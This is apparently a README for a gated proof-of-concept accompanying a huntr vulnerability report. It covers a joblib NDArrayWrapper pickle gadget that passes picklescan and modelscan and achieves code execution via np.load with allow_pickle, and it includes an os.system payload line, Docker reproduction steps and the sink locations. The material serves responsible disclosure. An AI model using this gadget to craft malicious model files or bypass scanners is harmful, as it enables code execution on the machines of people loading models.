--- license: mit tags: - security-poc - huntr-mfv - joblib --- # joblib-ndarraywrapper-poc > Demonstrator artifact for huntr MFV report — joblib `NDArrayWrapper` > compat-mode gadget bypasses picklescan + modelscan and triggers RCE > via secondary `np.load(..., allow_pickle=True)`. This repository is intentionally gated. Files are released only to `protectai-bot` (huntr triage) for verification. ## Files - `model.joblib` — 142-byte gadget pickle. Holds an `NDArrayWrapper` whose `.filename` field points at `stage2.npy`. picklescan and modelscan both report this file as clean. - `stage2.npy` — 351-byte object-dtype `.npy` whose pickled element executes `os.system('id > /tmp/pwned.txt; echo PWNED >> /tmp/pwned.txt')` via `__reduce__`. ## Reproduce locally (Docker) ``` docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc ' pip install -q joblib==1.5.3 numpy picklescan modelscan && \ cp stage2.npy /tmp/stage2.npy && \ picklescan --path model.joblib && \ modelscan -p model.joblib && \ python -c "import joblib; joblib.load(\"model.joblib\")" && \ cat /tmp/pwned.txt ' ``` Expected output: ``` Infected files: 0 # picklescan clean No issues found! 🎉 # modelscan clean uid=0(root) gid=0(root) groups=0(root) PWNED # RCE ``` Affected: joblib 1.5.3 (PyPI latest 2025-12-15) and joblib 1.6.dev0 (repo HEAD). Sink: `joblib/numpy_pickle_compat.py:97-111`. Reach: `joblib/numpy_pickle.py:438-467` (`NumpyUnpickler.load_build`). Distinct from CVE-2024-34997 (different file, class, sink, attacker control surface). See huntr submission for the full writeup.